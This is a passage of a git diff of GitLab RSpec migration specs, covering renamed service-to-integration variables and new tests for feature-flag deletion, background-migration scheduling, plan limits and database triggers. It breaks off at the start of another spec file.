+++ b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
@@ -14,11 +14,11 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
}
end
- let!(:jira_service) do
+ let!(:jira_integration) do
services.create!(id: 10, type: 'JiraService', properties: properties, category: 'issue_tracker')
end
- let!(:jira_service_nil) do
+ let!(:jira_integration_nil) do
services.create!(id: 11, type: 'JiraService', properties: nil, category: 'issue_tracker')
end
@@ -26,11 +26,11 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
services.create!(id: 12, type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
- let!(:youtrack_service) do
+ let!(:youtrack_integration) do
services.create!(id: 13, type: 'YoutrackService', properties: properties, category: 'issue_tracker')
end
- let!(:youtrack_service_empty) do
+ let!(:youtrack_integration_empty) do
services.create!(id: 14, type: 'YoutrackService', properties: '', category: 'issue_tracker')
end
@@ -56,8 +56,8 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
freeze_time do
migrate!
- expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_integration.id)
- expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_service.id, gitlab_service.id)
+ expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_integration.id, bugzilla_integration.id)
+ expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_integration.id, gitlab_service.id)
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
end
end
diff --git a/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb b/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
index 761168ae609..a632065946d 100644
--- a/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
+++ b/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!('replace_unique_index_on_cycle_analytics_stages')
-RSpec.describe ReplaceUniqueIndexOnCycleAnalyticsStages, :migration, schema: 20200728080250 do
+RSpec.describe ReplaceUniqueIndexOnCycleAnalyticsStages, :migration, schema: 20200727142337 do
let(:namespaces) { table(:namespaces) }
let(:group_value_streams) { table(:analytics_cycle_analytics_group_value_streams) }
let(:group_stages) { table(:analytics_cycle_analytics_group_stages) }
diff --git a/spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb b/spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb
new file mode 100644
index 00000000000..4f621d0670c
--- /dev/null
+++ b/spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!('delete_legacy_operations_feature_flags')
+
+RSpec.describe DeleteLegacyOperationsFeatureFlags do
+ let(:namespace) { table(:namespaces).create!(name: 'foo', path: 'bar') }
+ let(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let(:issue) { table(:issues).create!(id: 123, project_id: project.id) }
+ let(:operations_feature_flags) { table(:operations_feature_flags) }
+ let(:operations_feature_flag_scopes) { table(:operations_feature_flag_scopes) }
+ let(:operations_strategies) { table(:operations_strategies) }
+ let(:operations_scopes) { table(:operations_scopes) }
+ let(:operations_feature_flags_issues) { table(:operations_feature_flags_issues) }
+
+ it 'correctly deletes legacy feature flags' do
+ # Legacy version of a feature flag - dropped support in GitLab 14.0.
+ legacy_flag = operations_feature_flags.create!(project_id: project.id, version: 1, name: 'flag_a', active: true, iid: 1)
+ operations_feature_flag_scopes.create!(feature_flag_id: legacy_flag.id, active: true)
+ operations_feature_flags_issues.create!(feature_flag_id: legacy_flag.id, issue_id: issue.id)
+ # New version of a feature flag.
+ new_flag = operations_feature_flags.create!(project_id: project.id, version: 2, name: 'flag_b', active: true, iid: 2)
+ new_strategy = operations_strategies.create!(feature_flag_id: new_flag.id, name: 'default')
+ operations_scopes.create!(strategy_id: new_strategy.id, environment_scope: '*')
+ operations_feature_flags_issues.create!(feature_flag_id: new_flag.id, issue_id: issue.id)
+
+ expect(operations_feature_flags.all.pluck(:version)).to contain_exactly(1, 2)
+ expect(operations_feature_flag_scopes.count).to eq(1)
+ expect(operations_strategies.count).to eq(1)
+ expect(operations_scopes.count).to eq(1)
+ expect(operations_feature_flags_issues.all.pluck(:feature_flag_id)).to contain_exactly(legacy_flag.id, new_flag.id)
+
+ migrate!
+
+ # Legacy flag is deleted.
+ expect(operations_feature_flags.all.pluck(:version)).to contain_exactly(2)
+ # The associated entries of the legacy flag are deleted too.
+ expect(operations_feature_flag_scopes.count).to eq(0)
+ # The associated entries of the new flag stay instact.
+ expect(operations_strategies.count).to eq(1)
+ expect(operations_scopes.count).to eq(1)
+ expect(operations_feature_flags_issues.all.pluck(:feature_flag_id)).to contain_exactly(new_flag.id)
+ end
+end
diff --git a/spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb b/spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb
new file mode 100644
index 00000000000..fd664d99f06
--- /dev/null
+++ b/spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!('cascade_delete_freeze_periods')
+
+RSpec.describe CascadeDeleteFreezePeriods do
+ let(:namespace) { table(:namespaces).create!(name: 'deploy_freeze', path: 'deploy_freeze') }
+ let(:project) { table(:projects).create!(id: 1, namespace_id: namespace.id) }
+ let(:freeze_periods) { table(:ci_freeze_periods) }
+
+ describe "#up" do
+ it 'allows for a project to be deleted' do
+ freeze_periods.create!(id: 1, project_id: project.id, freeze_start: '5 * * * *', freeze_end: '6 * * * *', cron_timezone: 'UTC')
+ migrate!
+
+ project.delete
+
+ expect(freeze_periods.where(project_id: project.id).count).to be_zero
+ end
+ end
+end
diff --git a/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb b/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb
new file mode 100644
index 00000000000..9cc454662f9
--- /dev/null
+++ b/spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration! 'reschedule_merge_request_diff_users_background_migration'
+
+RSpec.describe RescheduleMergeRequestDiffUsersBackgroundMigration, :migration do
+ let(:migration) { described_class.new }
+
+ describe '#up' do
+ before do
+ allow(described_class::MergeRequestDiff)
+ .to receive(:minimum)
+ .with(:id)
+ .and_return(42)
+
+ allow(described_class::MergeRequestDiff)
+ .to receive(:maximum)
+ .with(:id)
+ .and_return(85_123)
+ end
+
+ it 'deletes existing background migration job records' do
+ args = [150_000, 300_000]
+
+ Gitlab::Database::BackgroundMigrationJob
+ .create!(class_name: described_class::MIGRATION_NAME, arguments: args)
+
+ migration.up
+
+ found = Gitlab::Database::BackgroundMigrationJob
+ .where(class_name: described_class::MIGRATION_NAME, arguments: args)
+ .count
+
+ expect(found).to eq(0)
+ end
+
+ it 'schedules the migrations in batches' do
+ expect(migration)
+ .to receive(:migrate_in)
+ .ordered
+ .with(2.minutes.to_i, described_class::MIGRATION_NAME, [42, 40_042])
+
+ expect(migration)
+ .to receive(:migrate_in)
+ .ordered
+ .with(4.minutes.to_i, described_class::MIGRATION_NAME, [40_042, 80_042])
+
+ expect(migration)
+ .to receive(:migrate_in)
+ .ordered
+ .with(6.minutes.to_i, described_class::MIGRATION_NAME, [80_042, 120_042])
+
+ migration.up
+ end
+
+ it 'creates rows to track the background migration jobs' do
+ expect(Gitlab::Database::BackgroundMigrationJob)
+ .to receive(:create!)
+ .ordered
+ .with(class_name: described_class::MIGRATION_NAME, arguments: [42, 40_042])
+
+ expect(Gitlab::Database::BackgroundMigrationJob)
+ .to receive(:create!)
+ .ordered
+ .with(class_name: described_class::MIGRATION_NAME, arguments: [40_042, 80_042])
+
+ expect(Gitlab::Database::BackgroundMigrationJob)
+ .to receive(:create!)
+ .ordered
+ .with(class_name: described_class::MIGRATION_NAME, arguments: [80_042, 120_042])
+
+ migration.up
+ end
+ end
+end
diff --git a/spec/migrations/active_record/schema_spec.rb b/spec/migrations/active_record/schema_spec.rb
index 8199f55f5fc..4a505c51a16 100644
--- a/spec/migrations/active_record/schema_spec.rb
+++ b/spec/migrations/active_record/schema_spec.rb
@@ -7,10 +7,10 @@ require 'spec_helper'
RSpec.describe ActiveRecord::Schema, schema: :latest do
let(:all_migrations) do
- migrations_paths = %w[db/migrate db/post_migrate]
- .map { |path| Rails.root.join(*path, '*') }
+ migrations_directories = %w[db/migrate db/post_migrate].map { |path| Rails.root.join(path).to_s }
+ migrations_paths = migrations_directories.map { |path| File.join(path, '*') }
- migrations = Dir[*migrations_paths]
+ migrations = Dir[*migrations_paths] - migrations_directories
migrations.map { |migration| File.basename(migration).split('_').first.to_i }.sort
end
diff --git a/spec/migrations/add_premium_and_ultimate_plan_limits_spec.rb b/spec/migrations/add_premium_and_ultimate_plan_limits_spec.rb
new file mode 100644
index 00000000000..fb62fc3ca02
--- /dev/null
+++ b/spec/migrations/add_premium_and_ultimate_plan_limits_spec.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe AddPremiumAndUltimatePlanLimits, :migration do
+ shared_examples_for 'a migration that does not alter plans or plan limits' do
+ it do
+ expect { migrate! }.not_to change {
+ [
+ AddPremiumAndUltimatePlanLimits::Plan.count,
+ AddPremiumAndUltimatePlanLimits::PlanLimits.count
+ ]
+ }
+ end
+ end
+
+ describe '#up' do
+ context 'when not .com?' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return false
+ end
+
+ it_behaves_like 'a migration that does not alter plans or plan limits'
+ end
+
+ context 'when .com?' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return true
+ end
+
+ context 'when source plan does not exist' do
+ it_behaves_like 'a migration that does not alter plans or plan limits'
+ end
+
+ context 'when target plan does not exist' do
+ before do
+ table(:plans).create!(name: 'silver', title: 'Silver')
+ table(:plans).create!(name: 'gold', title: 'Gold')
+ end
+
+ it_behaves_like 'a migration that does not alter plans or plan limits'
+ end
+
+ context 'when source and target plans exist' do
+ let!(:silver) { table(:plans).create!(name: 'silver', title: 'Silver') }
+ let!(:gold) { table(:plans).create!(name: 'gold', title: 'Gold') }
+ let!(:premium) { table(:plans).create!(name: 'premium', title: 'Premium') }
+ let!(:ultimate) { table(:plans).create!(name: 'ultimate', title: 'Ultimate') }
+
+ let!(:silver_limits) { table(:plan_limits).create!(plan_id: silver.id, storage_size_limit: 111) }
+ let!(:gold_limits) { table(:plan_limits).create!(plan_id: gold.id, storage_size_limit: 222) }
+
+ context 'when target has plan limits' do
+ before do
+ table(:plan_limits).create!(plan_id: premium.id, storage_size_limit: 999)
+ table(:plan_limits).create!(plan_id: ultimate.id, storage_size_limit: 999)
+ end
+
+ it 'does not overwrite the limits' do
+ expect { migrate! }.not_to change {
+ [
+ AddPremiumAndUltimatePlanLimits::Plan.count,
+ AddPremiumAndUltimatePlanLimits::PlanLimits.pluck(:id, :storage_size_limit).sort
+ ]
+ }
+ end
+ end
+
+ context 'when target has no plan limits' do
+ it 'creates plan limits from the source plan' do
+ migrate!
+
+ expect(AddPremiumAndUltimatePlanLimits::PlanLimits.pluck(:plan_id, :storage_size_limit)).to match_array([
+ [silver.id, silver_limits.storage_size_limit],
+ [gold.id, gold_limits.storage_size_limit],
+ [premium.id, silver_limits.storage_size_limit],
+ [ultimate.id, gold_limits.storage_size_limit]
+ ])
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/migrations/add_upvotes_count_index_to_issues_spec.rb b/spec/migrations/add_upvotes_count_index_to_issues_spec.rb
new file mode 100644
index 00000000000..c04cb98a107
--- /dev/null
+++ b/spec/migrations/add_upvotes_count_index_to_issues_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe AddUpvotesCountIndexToIssues do
+ let(:migration_instance) { described_class.new }
+
+ describe '#up' do
+ it 'adds index' do
+ expect { migrate! }.to change { migration_instance.index_exists?(:issues, [:project_id, :upvotes_count], name: described_class::INDEX_NAME) }.from(false).to(true)
+ end
+ end
+
+ describe '#down' do
+ it 'removes index' do
+ migrate!
+
+ expect { schema_migrate_down! }.to change { migration_instance.index_exists?(:issues, [:project_id, :upvotes_count], name: described_class::INDEX_NAME) }.from(true).to(false)
+ end
+ end
+end
diff --git a/spec/migrations/backfill_issues_upvotes_count_spec.rb b/spec/migrations/backfill_issues_upvotes_count_spec.rb
new file mode 100644
index 00000000000..f2bea0edea0
--- /dev/null
+++ b/spec/migrations/backfill_issues_upvotes_count_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe BackfillIssuesUpvotesCount do
+ let(:migration) { described_class.new }
+ let(:issues) { table(:issues) }
+ let(:award_emoji) { table(:award_emoji) }
+
+ let!(:issue1) { issues.create! }
+ let!(:issue2) { issues.create! }
+ let!(:issue3) { issues.create! }
+ let!(:issue4) { issues.create! }
+ let!(:issue4_without_thumbsup) { issues.create! }
+
+ let!(:award_emoji1) { award_emoji.create!( name: 'thumbsup', awardable_type: 'Issue', awardable_id: issue1.id) }
+ let!(:award_emoji2) { award_emoji.create!( name: 'thumbsup', awardable_type: 'Issue', awardable_id: issue2.id) }
+ let!(:award_emoji3) { award_emoji.create!( name: 'thumbsup', awardable_type: 'Issue', awardable_id: issue3.id) }
+ let!(:award_emoji4) { award_emoji.create!( name: 'thumbsup', awardable_type: 'Issue', awardable_id: issue4.id) }
+
+ it 'correctly schedules background migrations' do
+ stub_const("#{described_class.name}::BATCH_SIZE", 2)
+
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(described_class::MIGRATION).to be_scheduled_migration(issue1.id, issue2.id)
+ expect(described_class::MIGRATION).to be_scheduled_migration(issue3.id, issue4.id)
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/delete_template_services_duplicated_by_type_spec.rb b/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
index b5a29436159..577fea984da 100644
--- a/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
+++ b/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
@@ -14,11 +14,11 @@ RSpec.describe DeleteTemplateServicesDuplicatedByType do
end
it 'deletes service templates duplicated by type except the one with the lowest ID' do
- jenkins_service_id = services.where(type: 'JenkinsService').order(:id).pluck(:id).first
- jira_service_id = services.where(type: 'JiraService').pluck(:id).first
+ jenkins_integration_id = services.where(type: 'JenkinsService').order(:id).pluck(:id).first
+ jira_integration_id = services.where(type: 'JiraService').pluck(:id).first
migrate!
- expect(services.pluck(:id)).to contain_exactly(jenkins_service_id, jira_service_id)
+ expect(services.pluck(:id)).to contain_exactly(jenkins_integration_id, jira_integration_id)
end
end
diff --git a/spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb b/spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb
new file mode 100644
index 00000000000..e15011d0dab
--- /dev/null
+++ b/spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+# rubocop:disable Style/WordArray
+RSpec.describe FixBatchedMigrationsOldFormatJobArguments do
+ let(:batched_background_migrations) { table(:batched_background_migrations) }
+
+ context 'when migrations with legacy job arguments exists' do
+ it 'updates job arguments to current format' do
+ legacy_events_migration = create_batched_migration('events', 'id', ['id', 'id_convert_to_bigint'])
+ legacy_push_event_payloads_migration = create_batched_migration('push_event_payloads', 'event_id', ['event_id', 'event_id_convert_to_bigint'])
+
+ migrate!
+
+ expect(legacy_events_migration.reload.job_arguments).to eq([['id'], ['id_convert_to_bigint']])
+ expect(legacy_push_event_payloads_migration.reload.job_arguments).to eq([['event_id'], ['event_id_convert_to_bigint']])
+ end
+ end
+
+ context 'when only migrations with current job arguments exists' do
+ it 'updates nothing' do
+ events_migration = create_batched_migration('events', 'id', [['id'], ['id_convert_to_bigint']])
+ push_event_payloads_migration = create_batched_migration('push_event_payloads', 'event_id', [['event_id'], ['event_id_convert_to_bigint']])
+
+ migrate!
+
+ expect(events_migration.reload.job_arguments).to eq([['id'], ['id_convert_to_bigint']])
+ expect(push_event_payloads_migration.reload.job_arguments).to eq([['event_id'], ['event_id_convert_to_bigint']])
+ end
+ end
+
+ context 'when migrations with both legacy and current job arguments exist' do
+ it 'updates nothing' do
+ legacy_events_migration = create_batched_migration('events', 'id', ['id', 'id_convert_to_bigint'])
+ events_migration = create_batched_migration('events', 'id', [['id'], ['id_convert_to_bigint']])
+ legacy_push_event_payloads_migration = create_batched_migration('push_event_payloads', 'event_id', ['event_id', 'event_id_convert_to_bigint'])
+ push_event_payloads_migration = create_batched_migration('push_event_payloads', 'event_id', [['event_id'], ['event_id_convert_to_bigint']])
+
+ migrate!
+
+ expect(legacy_events_migration.reload.job_arguments).to eq(['id', 'id_convert_to_bigint'])
+ expect(events_migration.reload.job_arguments).to eq([['id'], ['id_convert_to_bigint']])
+ expect(legacy_push_event_payloads_migration.reload.job_arguments).to eq(['event_id', 'event_id_convert_to_bigint'])
+ expect(push_event_payloads_migration.reload.job_arguments).to eq([['event_id'], ['event_id_convert_to_bigint']])
+ end
+ end
+
+ def create_batched_migration(table_name, column_name, job_arguments)
+ batched_background_migrations.create!(
+ max_value: 10,
+ batch_size: 10,
+ sub_batch_size: 10,
+ interval: 1,
+ job_class_name: 'CopyColumnUsingBackgroundMigrationJob',
+ table_name: table_name,
+ column_name: column_name,
+ job_arguments: job_arguments
+ )
+ end
+end
+# rubocop:enable Style/WordArray
diff --git a/spec/migrations/re_schedule_latest_pipeline_id_population_spec.rb b/spec/migrations/re_schedule_latest_pipeline_id_population_spec.rb
new file mode 100644
index 00000000000..354a0896ac9
--- /dev/null
+++ b/spec/migrations/re_schedule_latest_pipeline_id_population_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ReScheduleLatestPipelineIdPopulation do
+ let(:namespaces) { table(:namespaces) }
+ let(:pipelines) { table(:ci_pipelines) }
+ let(:projects) { table(:projects) }
+ let(:project_settings) { table(:project_settings) }
+ let(:vulnerability_statistics) { table(:vulnerability_statistics) }
+
+ let(:letter_grade_a) { 0 }
+
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project_1) { projects.create!(namespace_id: namespace.id, name: 'Foo 1') }
+ let(:project_2) { projects.create!(namespace_id: namespace.id, name: 'Foo 2') }
+ let(:project_3) { projects.create!(namespace_id: namespace.id, name: 'Foo 3') }
+ let(:project_4) { projects.create!(namespace_id: namespace.id, name: 'Foo 4') }
+
+ before do
+ project_settings.create!(project_id: project_1.id, has_vulnerabilities: true)
+ project_settings.create!(project_id: project_2.id, has_vulnerabilities: true)
+ project_settings.create!(project_id: project_3.id)
+ project_settings.create!(project_id: project_4.id, has_vulnerabilities: true)
+
+ pipeline = pipelines.create!(project_id: project_2.id, ref: 'master', sha: 'adf43c3a')
+
+ vulnerability_statistics.create!(project_id: project_2.id, letter_grade: letter_grade_a, latest_pipeline_id: pipeline.id)
+ vulnerability_statistics.create!(project_id: project_4.id, letter_grade: letter_grade_a)
+
+ allow(Gitlab).to receive(:ee?).and_return(is_ee?)
+ stub_const("#{described_class.name}::BATCH_SIZE", 1)
+ end
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ context 'when the installation is FOSS' do
+ let(:is_ee?) { false }
+
+ it 'does not schedule any background job' do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to be(0)
+ end
+ end
+
+ context 'when the installation is EE' do
+ let(:is_ee?) { true }
+
+ it 'schedules the background jobs' do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to be(2)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(described_class::DELAY_INTERVAL, project_1.id, project_1.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2 * described_class::DELAY_INTERVAL, project_4.id, project_4.id)
+ end
+ end
+end
diff --git a/spec/migrations/rename_services_to_integrations_spec.rb b/spec/migrations/rename_services_to_integrations_spec.rb
new file mode 100644
index 00000000000..812dd5efecb
--- /dev/null
+++ b/spec/migrations/rename_services_to_integrations_spec.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe RenameServicesToIntegrations do
+ let(:migration) { described_class.new }
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:integrations) { table(:integrations) }
+ let(:services) { table(:services) }
+
+ before do
+ @namespace = namespaces.create!(name: 'foo', path: 'foo')
+ @project = projects.create!(namespace_id: @namespace.id)
+ end
+
+ RSpec.shared_examples 'a table (or view) with triggers' do
+ describe 'INSERT tracker trigger' do
+ it 'sets `has_external_issue_tracker` to true when active `issue_tracker` is inserted' do
+ expect do
+ subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+ end.to change { @project.reload.has_external_issue_tracker }.to(true)
+ end
+
+ it 'does not set `has_external_issue_tracker` to true when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+
+ expect do
+ subject.create!(category: 'issue_tracker', active: true, project_id: different_project.id)
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+
+ it 'does not set `has_external_issue_tracker` to true when inactive `issue_tracker` is inserted' do
+ expect do
+ subject.create!(category: 'issue_tracker', active: false, project_id: @project.id)
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+
+ it 'does not set `has_external_issue_tracker` to true when a non-`issue tracker` active integration is inserted' do
+ expect do
+ subject.create!(category: 'my_type', active: true, project_id: @project.id)
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+ end
+
+ describe 'UPDATE tracker trigger' do
+ it 'sets `has_external_issue_tracker` to true when `issue_tracker` is made active' do
+ integration = subject.create!(category: 'issue_tracker', active: false, project_id: @project.id)
+
+ expect do
+ integration.update!(active: true)
+ end.to change { @project.reload.has_external_issue_tracker }.to(true)
+ end
+
+ it 'sets `has_external_issue_tracker` to false when `issue_tracker` is made inactive' do
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.update!(active: false)
+ end.to change { @project.reload.has_external_issue_tracker }.to(false)
+ end
+
+ it 'sets `has_external_issue_tracker` to false when `issue_tracker` is made inactive, and an inactive `issue_tracker` exists' do
+ subject.create!(category: 'issue_tracker', active: false, project_id: @project.id)
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.update!(active: false)
+ end.to change { @project.reload.has_external_issue_tracker }.to(false)
+ end
+
+ it 'does not change `has_external_issue_tracker` when `issue_tracker` is made inactive, if an active `issue_tracker` exists' do
+ subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.update!(active: false)
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+
+ it 'does not change `has_external_issue_tracker` when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+ integration = subject.create!(category: 'issue_tracker', active: false, project_id: different_project.id)
+
+ expect do
+ integration.update!(active: true)
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+ end
+
+ describe 'DELETE tracker trigger' do
+ it 'sets `has_external_issue_tracker` to false when `issue_tracker` is deleted' do
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.delete
+ end.to change { @project.reload.has_external_issue_tracker }.to(false)
+ end
+
+ it 'sets `has_external_issue_tracker` to false when `issue_tracker` is deleted, if an inactive `issue_tracker` still exists' do
+ subject.create!(category: 'issue_tracker', active: false, project_id: @project.id)
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.delete
+ end.to change { @project.reload.has_external_issue_tracker }.to(false)
+ end
+
+ it 'does not change `has_external_issue_tracker` when `issue_tracker` is deleted, if an active `issue_tracker` still exists' do
+ subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: @project.id)
+
+ expect do
+ integration.delete
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+
+ it 'does not change `has_external_issue_tracker` when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+ integration = subject.create!(category: 'issue_tracker', active: true, project_id: different_project.id)
+
+ expect do
+ integration.delete
+ end.not_to change { @project.reload.has_external_issue_tracker }
+ end
+ end
+
+ describe 'INSERT wiki trigger' do
+ it 'sets `has_external_wiki` to true when active `ExternalWikiService` is inserted' do
+ expect do
+ subject.create!(type: 'ExternalWikiService', active: true, project_id: @project.id)
+ end.to change { @project.reload.has_external_wiki }.to(true)
+ end
+
+ it 'does not set `has_external_wiki` to true when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+
+ expect do
+ subject.create!(type: 'ExternalWikiService', active: true, project_id: different_project.id)
+ end.not_to change { @project.reload.has_external_wiki }
+ end
+
+ it 'does not set `has_external_wiki` to true when inactive `ExternalWikiService` is inserted' do
+ expect do
+ subject.create!(type: 'ExternalWikiService', active: false, project_id: @project.id)
+ end.not_to change { @project.reload.has_external_wiki }
+ end
+
+ it 'does not set `has_external_wiki` to true when active other integration is inserted' do
+ expect do
+ subject.create!(type: 'MyService', active: true, project_id: @project.id)
+ end.not_to change { @project.reload.has_external_wiki }
+ end
+ end
+
+ describe 'UPDATE wiki trigger' do
+ it 'sets `has_external_wiki` to true when `ExternalWikiService` is made active' do
+ integration = subject.create!(type: 'ExternalWikiService', active: false, project_id: @project.id)
+
+ expect do
+ integration.update!(active: true)
+ end.to change { @project.reload.has_external_wiki }.to(true)
+ end
+
+ it 'sets `has_external_wiki` to false when `ExternalWikiService` is made inactive' do
+ integration = subject.create!(type: 'ExternalWikiService', active: true, project_id: @project.id)
+
+ expect do
+ integration.update!(active: false)
+ end.to change { @project.reload.has_external_wiki }.to(false)
+ end
+
+ it 'does not change `has_external_wiki` when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+ integration = subject.create!(type: 'ExternalWikiService', active: false, project_id: different_project.id)
+
+ expect do
+ integration.update!(active: true)
+ end.not_to change { @project.reload.has_external_wiki }
+ end
+ end
+
+ describe 'DELETE wiki trigger' do
+ it 'sets `has_external_wiki` to false when `ExternalWikiService` is deleted' do
+ integration = subject.create!(type: 'ExternalWikiService', active: true, project_id: @project.id)
+
+ expect do
+ integration.delete
+ end.to change { @project.reload.has_external_wiki }.to(false)
+ end
+
+ it 'does not change `has_external_wiki` when integration is for a different project' do
+ different_project = projects.create!(namespace_id: @namespace.id)
+ integration = subject.create!(type: 'ExternalWikiService', active: true, project_id: different_project.id)
+
+ expect do
+ integration.delete
+ end.not_to change { @project.reload.has_external_wiki }
+ end
+ end
+ end
+
+ RSpec.shared_examples 'a table (or view) without triggers' do
+ specify do
+ number_of_triggers = ActiveRecord::Base.connection
+ .execute("SELECT count(*) FROM information_schema.triggers WHERE event_object_table = '#{subject.table_name}'")
+ .first['count']
+
+ expect(number_of_triggers).to eq(0)
+ end
+ end
+
+ describe '#up' do
+ before do
+ # LOCK TABLE statements must be in a transaction
+ ActiveRecord::Base.transaction { migrate! }
+ end
+
+ context 'the integrations table' do
+ subject { integrations }
+
+ it_behaves_like 'a table (or view) with triggers'
+ end
+
+ context 'the services table' do
+ subject { services }
+
+ it_behaves_like 'a table (or view) without triggers'
+ end
+ end
+
+ describe '#down' do
+ before do
+ # LOCK TABLE statements must be in a transaction
+ ActiveRecord::Base.transaction do
+ migration.up
+ migration.down
+ end
+ end
+
+ context 'the services table' do
+ subject { services }
+
+ it_behaves_like 'a table (or view) with triggers'
+ end
+
+ context 'the integrations table' do
+ subject { integrations }
+
+ it_behaves_like 'a table (or view) without triggers'
+ end
+ end
+end
diff --git a/spec/migrations/reset_job_token_scope_enabled_spec.rb b/spec/migrations/reset_job_token_scope_enabled_spec.rb
new file mode 100644
index 00000000000..40dfe4de34b
--- /dev/null
+++ b/spec/migrations/reset_job_token_scope_enabled_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe ResetJobTokenScopeEnabled do
+ let(:settings) { table(:project_ci_cd_settings) }
+ let(:projects) { table(:projects) }
+ let(:namespaces) { table(:namespaces) }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project_1) { projects.create!(name: 'proj-1', path: 'gitlab-org', namespace_id: namespace.id)}
+ let(:project_2) { projects.create!(name: 'proj-2', path: 'gitlab-org', namespace_id: namespace.id)}
+
+ before do
+ settings.create!(id: 1, project_id: project_1.id, job_token_scope_enabled: true)
+ settings.create!(id: 2, project_id: project_2.id, job_token_scope_enabled: false)
+ end
+
+ it 'migrates job_token_scope_enabled to be always false' do
+ expect { migrate! }
+ .to change { settings.where(job_token_scope_enabled: false).count }
+ .from(1).to(2)
+ end
+end
diff --git a/spec/migrations/schedule_backfill_draft_status_on_merge_requests_spec.rb b/spec/migrations/schedule_backfill_draft_status_on_merge_requests_spec.rb
new file mode 100644
index 00000000000..5a1c07d810f
--- /dev/null
+++ b/spec/migrations/schedule_backfill_draft_status_on_merge_requests_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
